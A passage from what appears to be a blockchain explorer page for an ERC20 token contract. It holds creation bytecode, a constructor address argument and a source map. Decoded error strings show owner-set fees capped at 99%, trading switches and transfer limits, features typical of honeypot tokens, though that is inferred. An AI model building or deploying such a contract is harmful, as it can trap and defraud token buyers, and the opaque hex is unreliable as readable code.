040518263ffffffff1660e01b8152600401613bea9190614441565b602060405180830381865afa158015613c07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c2b9190614e37565b90506000613c44601154836126b790919063ffffffff16565b9050613c4f84613fff565b613c615760008114613c6057600080fd5b5b600192505050919050565b60008083118290613cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613caa91906140e6565b60405180910390fd5b5060008385613cc29190614772565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613d4f5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613d73565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613dba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613488565b905092915050565b6000600267ffffffffffffffff811115613ddf57613dde615668565b5b604051908082528060200260200182016040528015613e0d5781602001602082028036833780820191505090505b5090503081600081518110613e2557613e24614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613eca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613eee91906156ac565b81600181518110613f0257613f01614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613f67307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461271d565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613fc99594939291906157d2565b600060405180830381600087803b158015613fe357600080fd5b505af1158015613ff7573d6000803e3d6000fd5b505050505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015614090578082015181840152602081019050614075565b60008484015250505050565b6000601f19601f8301169050919050565b60006140b882614056565b6140c28185614061565b93506140d2818560208601614072565b6140db8161409c565b840191505092915050565b6000602082019050818103600083015261410081846140ad565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061413d82614112565b9050919050565b61414d81614132565b811461415857600080fd5b50565b60008135905061416a81614144565b92915050565b6000819050919050565b61418381614170565b811461418e57600080fd5b50565b6000813590506141a08161417a565b92915050565b600080604083850312156141bd576141bc614108565b5b60006141cb8582860161415b565b92505060206141dc85828601614191565b9150509250929050565b60008115159050919050565b6141fb816141e6565b82525050565b600060208201905061421660008301846141f2565b92915050565b60006020828403121561423257614231614108565b5b60006142408482850161415b565b91505092915050565b6000819050919050565b600061426e61426961426484614112565b614249565b614112565b9050919050565b600061428082614253565b9050919050565b600061429282614275565b9050919050565b6142a281614287565b82525050565b60006020820190506142bd6000830184614299565b92915050565b6142cc81614170565b82525050565b60006020820190506142e760008301846142c3565b92915050565b60006020828403121561430357614302614108565b5b600061431184828501614191565b91505092915050565b60008060006060848603121561433357614332614108565b5b60006143418682870161415b565b93505060206143528682870161415b565b925050604061436386828701614191565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126143925761439161436d565b5b8235905067ffffffffffffffff8111156143af576143ae614372565b5b6020830191508360208202830111156143cb576143ca614377565b5b9250929050565b6000806000604084860312156143eb576143ea614108565b5b600084013567ffffffffffffffff8111156144095761440861410d565b5b6144158682870161437c565b9350935050602061442886828701614191565b9150509250925092565b61443b81614132565b82525050565b60006020820190506144566000830184614432565b92915050565b600060ff82169050919050565b6144728161445c565b82525050565b600060208201905061448d6000830184614469565b92915050565b61449c816141e6565b81146144a757600080fd5b50565b6000813590506144b981614493565b92915050565b6000806000606084860312156144d8576144d7614108565b5b60006144e686828701614191565b93505060206144f786828701614191565b9250506040614508868287016144aa565b9150509250925092565b6000806040838503121561452957614528614108565b5b60006145378582860161415b565b9250506020614548858286016144aa565b9150509250929050565b60008060006060848603121561456b5761456a614108565b5b600061457986828701614191565b935050602061458a86828701614191565b925050604061459b86828701614191565b9150509250925092565b6000602082840312156145bb576145ba614108565b5b60006145c9848285016144aa565b91505092915050565b600080604083850312156145e9576145e8614108565b5b60006145f78582860161415b565b92505060206146088582860161415b565b9150509250929050565b60008060006040848603121561462b5761462a614108565b5b600084013567ffffffffffffffff8111156146495761464861410d565b5b6146558682870161437c565b93509350506020614668868287016144aa565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806146b957607f821691505b6020821081036146cc576146cb614672565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061470c82614170565b915061471783614170565b925082820261472581614170565b9150828204841483151761473c5761473b6146d2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061477d82614170565b915061478883614170565b92508261479857614797614743565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006147ff602f83614061565b915061480a826147a3565b604082019050919050565b6000602082019050818103600083015261482e816147f2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061486f82614170565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036148a1576148a06146d2565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b6000614908603383614061565b9150614913826148ac565b604082019050919050565b60006020820190508181036000830152614937816148fb565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b600061499a603083614061565b91506149a58261493e565b604082019050919050565b600060208201905081810360008301526149c98161498d565b9050919050565b60006149db82614170565b91506149e683614170565b92508282019050808211156149fe576149fd6146d2565b5b92915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614a3a601d83614061565b9150614a4582614a04565b602082019050919050565b60006020820190508181036000830152614a6981614a2d565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000614aa6601d83614061565b9150614ab182614a70565b602082019050919050565b60006020820190508181036000830152614ad581614a99565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614b38602483614061565b9150614b4382614adc565b604082019050919050565b60006020820190508181036000830152614b6781614b2b565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614bca603583614061565b9150614bd582614b6e565b604082019050919050565b60006020820190508181036000830152614bf981614bbd565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614c5c603283614061565b9150614c6782614c00565b604082019050919050565b60006020820190508181036000830152614c8b81614c4f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614cee602683614061565b9150614cf982614c92565b604082019050919050565b60006020820190508181036000830152614d1d81614ce1565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614d5a602083614061565b9150614d6582614d24565b602082019050919050565b60006020820190508181036000830152614d8981614d4d565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000614dec602a83614061565b9150614df782614d90565b604082019050919050565b60006020820190508181036000830152614e1b81614ddf565b9050919050565b600081519050614e318161417a565b92915050565b600060208284031215614e4d57614e4c614108565b5b6000614e5b84828501614e22565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614e9a601b83614061565b9150614ea582614e64565b602082019050919050565b60006020820190508181036000830152614ec981614e8d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614f2c602483614061565b9150614f3782614ed0565b604082019050919050565b60006020820190508181036000830152614f5b81614f1f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614fbe602283614061565b9150614fc982614f62565b604082019050919050565b60006020820190508181036000830152614fed81614fb1565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061502a602083614061565b915061503582614ff4565b602082019050919050565b600060208201905081810360008301526150598161501d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006150bc602583614061565b91506150c782615060565b604082019050919050565b600060208201905081810360008301526150eb816150af565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061514e602383614061565b9150615159826150f2565b604082019050919050565b6000602082019050818103600083015261517d81615141565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006151ba601683614061565b91506151c582615184565b602082019050919050565b600060208201905081810360008301526151e9816151ad565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000615272604983614061565b915061527d826151f0565b606082019050919050565b600060208201905081810360008301526152a181615265565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000615304603583614061565b915061530f826152a8565b604082019050919050565b60006020820190508181036000830152615333816152f7565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000615370601383614061565b915061537b8261533a565b602082019050919050565b6000602082019050818103600083015261539f81615363565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000615402603683614061565b915061540d826153a6565b604082019050919050565b60006020820190508181036000830152615431816153f5565b9050919050565b600061544382614170565b915061544e83614170565b9250828203905081811115615466576154656146d2565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006154c8602183614061565b91506154d38261546c565b604082019050919050565b600060208201905081810360008301526154f7816154bb565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061555a602283614061565b9150615565826154fe565b604082019050919050565b600060208201905081810360008301526155898161554d565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006155ec602183614061565b91506155f782615590565b604082019050919050565b6000602082019050818103600083015261561b816155df565b9050919050565b600081905092915050565b50565b600061563d600083615622565b91506156488261562d565b600082019050919050565b600061565e82615630565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506156a681614144565b92915050565b6000602082840312156156c2576156c1614108565b5b60006156d084828501615697565b91505092915050565b6000819050919050565b60006156fe6156f96156f4846156d9565b614249565b614170565b9050919050565b61570e816156e3565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61574981614132565b82525050565b600061575b8383615740565b60208301905092915050565b6000602082019050919050565b600061577f82615714565b615789818561571f565b935061579483615730565b8060005b838110156157c55781516157ac888261574f565b97506157b783615767565b925050600181019050615798565b5085935050505092915050565b600060a0820190506157e760008301886142c3565b6157f46020830187615705565b81810360408301526158068186615774565b90506158156060830185614432565b61582260808301846142c3565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c960e0d41cf789637a4a02c690096eb2e0d073cf9c3f078d1b2676d4a2f7143764736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000008db7af1c3640fdc8647c9522483072695c71f6c1
-----Decoded View---------------
Arg [0] : team_ (address): 0x8db7af1C3640FdC8647C9522483072695c71f6C1
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000008db7af1c3640fdc8647c9522483072695c71f6c1
Deployed Bytecode Sourcemap
135:17238:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1501:100:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3667:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1819:64:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;203:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2620:108:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7993:157:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;577:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;678:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1374:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1334;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6983:232;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4318:355:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13853:223:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;261:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;760:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;721:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2463:92:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;865:32:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5082:218:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2176:93:5;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;321:28:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8312:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1185:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;943:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2791:127:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1443:148:5;;;;;;;;;;;;;:::i;:::-;;16917:447:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5626:127;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8158:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;534:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1074;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6606:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4897:155;;;;;;;;;;;;;:::i;:::-;;650:79:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;503:24:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1220:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5468:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1720:104:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1148:24:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10129:107:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;634:35:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1414:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1296:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7842:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5803:269:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;821:29:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3131:175:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15136:208:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8449;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2041:61;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7634:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;904:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7444:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6220:378;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7223:213;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4686:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1632:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;419:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5823:385;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1040:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3369:151:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16793:116:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;461:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5117:134;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1111:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1872:244:5;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1258:31:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;388:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15356:1015;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1501:100:2;1555:13;1588:5;1581:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1501:100;:::o;3667:169::-;3750:4;3767:39;3776:12;:10;:12::i;:::-;3790:7;3799:6;3767:8;:39::i;:::-;3824:4;3817:11;;3667:169;;;;:::o;1819:64:0:-;;;;;;;;;;;;;;;;;;;;;;:::o;203:51::-;;;:::o;2620:108:2:-;2681:7;2708:12;;2701:19;;2620:108;:::o;7993:157:0:-;854:13:5;:11;:13::i;:::-;8100:9:0::1;;;;;;;;;;;8072:38;;8089:9;8072:38;;;;;;;;;;;;8133:9;8121;;:21;;;;;;;;;;;;;;;;;;7993:157:::0;:::o;577:50::-;;;;:::o;678:35::-;;;;:::o;1374:33::-;;;;:::o;1334:::-;;;;:::o;6983:232::-;854:13:5;:11;:13::i;:::-;7102:3:0::1;7096:4;7092:1;7076:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;7075:30;;;;:::i;:::-;7065:6;:40;;7057:100;;;;;;;;;;;;:::i;:::-;;;;;;;;;7201:5;7191:6;:16;;;;:::i;:::-;7168:20;:39;;;;6983:232:::0;:::o;4318:355:2:-;4458:4;4475:36;4485:6;4493:9;4504:6;4475:9;:36::i;:::-;4522:121;4531:6;4539:12;:10;:12::i;:::-;4553:89;4591:6;4553:89;;;;;;;;;;;;;;;;;:11;:19;4565:6;4553:19;;;;;;;;;;;;;;;:33;4573:12;:10;:12::i;:::-;4553:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;4522:8;:121::i;:::-;4661:4;4654:11;;4318:355;;;;;:::o;13853:223:0:-;854:13:5;:11;:13::i;:::-;13950:9:0::1;13945:124;13969:10;;:17;;13965:1;:21;13945:124;;;14037:10;;14048:1;14037:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14013:44;;14022:13;;;;;;;;;;;14013:44;;;14052:4;14013:44;;;;;;:::i;:::-;;;;;;;;13988:3;;;;;:::i;:::-;;;;13945:124;;;;13853:223:::0;;;:::o;261:53::-;307:6;261:53;:::o;760:54::-;;;;:::o;721:32::-;;;;;;;;;;;;;:::o;2463:92:2:-;2521:5;2546:1;2539:8;;2463:92;:::o;865:32:0:-;;;;;;;;;;;;;:::o;5082:218:2:-;5170:4;5187:83;5196:12;:10;:12::i;:::-;5210:7;5219:50;5258:10;5219:11;:25;5231:12;:10;:12::i;:::-;5219:25;;;;;;;;;;;;;;;:34;5245:7;5219:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;5187:8;:83::i;:::-;5288:4;5281:11;;5082:218;;;;:::o;2176:93:5:-;854:13;:11;:13::i;:::-;2254:7:::1;2246:5;;:15;;;;;;;;;;;;;;;;;;2176:93:::0;:::o;321:28:0:-;;;;;;;;;;;;;:::o;8312:125::-;8377:4;8401:19;:28;8421:7;8401:28;;;;;;;;;;;;;;;;;;;;;;;;;8394:35;;8312:125;;;:::o;1185:28::-;;;;:::o;943:30::-;;;;;;;;;;;;;:::o;2791:127:2:-;2865:7;2892:9;:18;2902:7;2892:18;;;;;;;;;;;;;;;;2885:25;;2791:127;;;:::o;1443:148:5:-;854:13;:11;:13::i;:::-;1550:1:::1;1513:40;;1534:6;::::0;::::1;;;;;;;;1513:40;;;;;;;;;;;;1581:1;1564:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1443:148::o:0;16917:447:0:-;854:13:5;:11;:13::i;:::-;17071:3:0::1;17048:19;:26;;17040:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;17161:4;17149:8;:16;;:33;;;;;17181:1;17169:8;:13;;17149:33;17141:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;17264:19;17246:15;:37;;;;17313:8;17294:16;:27;;;;17348:8;17332:13;;:24;;;;;;;;;;;;;;;;;;16917:447:::0;;;:::o;5626:127::-;5676:4;854:13:5;:11;:13::i;:::-;5708:5:0::1;5692:13;;:21;;;;;;;;;;;;;;;;;;5741:4;5734:11;;5626:127:::0;:::o;8158:144::-;854:13:5;:11;:13::i;:::-;8290:4:0::1;8248:31;:39;8280:6;8248:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;8158:144:::0;;:::o;534:30::-;;;;;;;;;;;;;:::o;1074:::-;;;;:::o;6606:369::-;854:13:5;:11;:13::i;:::-;6740::0::1;6722:15;:31;;;;6782:13;6764:15;:31;;;;6818:7;6806:9;:19;;;;6887:9;;6869:15;;6851;;:33;;;;:::i;:::-;:45;;;;:::i;:::-;6836:12;:60;;;;6931:2;6915:12;;:18;;6907:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;6606:369:::0;;;:::o;4897:155::-;854:13:5;:11;:13::i;:::-;4968:4:0::1;4952:13;;:20;;;;;;;;;;;;;;;;;;4997:4;4983:11;;:18;;;;;;;;;;;;;;;;;;5029:15;5012:14;:32;;;;4897:155::o:0;650:79:5:-;688:7;715:6;;;;;;;;;;;708:13;;650:79;:::o;503:24:0:-;;;;;;;;;;;;;:::o;1220:31::-;;;;:::o;5468:101::-;854:13:5;:11;:13::i;:::-;5554:7:0::1;5540:11;;:21;;;;;;;;;;;;;;;;;;5468:101:::0;:::o;1720:104:2:-;1776:13;1809:7;1802:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1720:104;:::o;1148:24:0:-;;;;:::o;10129:107:2:-;854:13:5;:11;:13::i;:::-;10206:22:2::1;10212:7;10221:6;10206:5;:22::i;:::-;10129:107:::0;;:::o;634:35:0:-;;;;:::o;1414:27::-;;;;:::o;1296:25::-;;;;:::o;7842:143::-;854:13:5;:11;:13::i;:::-;7936:41:0::1;7965:4;7971:5;7936:28;:41::i;:::-;7842:143:::0;;:::o;5803:269:2:-;5896:4;5913:129;5922:12;:10;:12::i;:::-;5936:7;5945:96;5984:15;5945:96;;;;;;;;;;;;;;;;;:11;:25;5957:12;:10;:12::i;:::-;5945:25;;;;;;;;;;;;;;;:34;5971:7;5945:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;5913:8;:129::i;:::-;6060:4;6053:11;;5803:269;;;;:::o;821:29:0:-;;;;:::o;3131:175:2:-;3217:4;3234:42;3244:12;:10;:12::i;:::-;3258:9;3269:6;3234:9;:42::i;:::-;3294:4;3287:11;;3131:175;;;;:::o;15136:208:0:-;854:13:5;:11;:13::i;:::-;15232:9:0::1;15227:110;15251:8;;:15;;15247:1;:19;15227:110;;;15322:3;15288:18;:31;15307:8;;15316:1;15307:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;15288:31;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;15268:3;;;;;:::i;:::-;;;;15227:110;;;;15136:208:::0;;;:::o;8449:::-;854:13:5;:11;:13::i;:::-;8586:15:0::1;;;;;;;;;;;8543:59;;8566:18;8543:59;;;;;;;;;;;;8631:18;8613:15;;:36;;;;;;;;;;;;;;;;;;8449:208:::0;:::o;2041:61::-;;;;;;;;;;;;;;;;;;;;;;:::o;7634:200::-;854:13:5;:11;:13::i;:::-;7763:5:0::1;7729:25;:31;7755:4;7729:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;7820:5;7786:40;;7814:4;7786:40;;;;;;;;;;;;7634:200:::0;;:::o;904:32::-;;;;;;;;;;;;;:::o;7444:182::-;854:13:5;:11;:13::i;:::-;7560:8:0::1;7529:19;:28;7549:7;7529:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;7600:7;7584:34;;;7609:8;7584:34;;;;;;:::i;:::-;;;;;;;;7444:182:::0;;:::o;6220:378::-;854:13:5;:11;:13::i;:::-;6356::0::1;6337:16;:32;;;;6399:13;6380:16;:32;;;;6436:7;6423:10;:20;;;;6508:10;;6489:16;;6470;;:35;;;;:::i;:::-;:48;;;;:::i;:::-;6454:13;:64;;;;6554:2;6537:13;;:19;;6529:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;6220:378:::0;;;:::o;7223:213::-;854:13:5;:11;:13::i;:::-;7345:3:0::1;7339:4;7335:1;7319:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;7318:30;;;;:::i;:::-;7308:6;:40;;7300:89;;;;;;;;;;;;:::i;:::-;;;;;;;;;7422:5;7412:6;:16;;;;:::i;:::-;7400:9;:28;;;;7223:213:::0;:::o;4686:157::-;854:13:5;:11;:13::i;:::-;4764:5:0::1;4748:13;;:21;;;;;;;;;;;;;;;;;;4780:55;4814:13;;;;;;;;;;;4830:4;4780:25;:55::i;:::-;4686:157:::0;:::o;1632:39::-;;;;;;;;;;;;;:::o;419:35::-;;;;:::o;5823:385::-;5904:4;854:13:5;:11;:13::i;:::-;5961:6:0: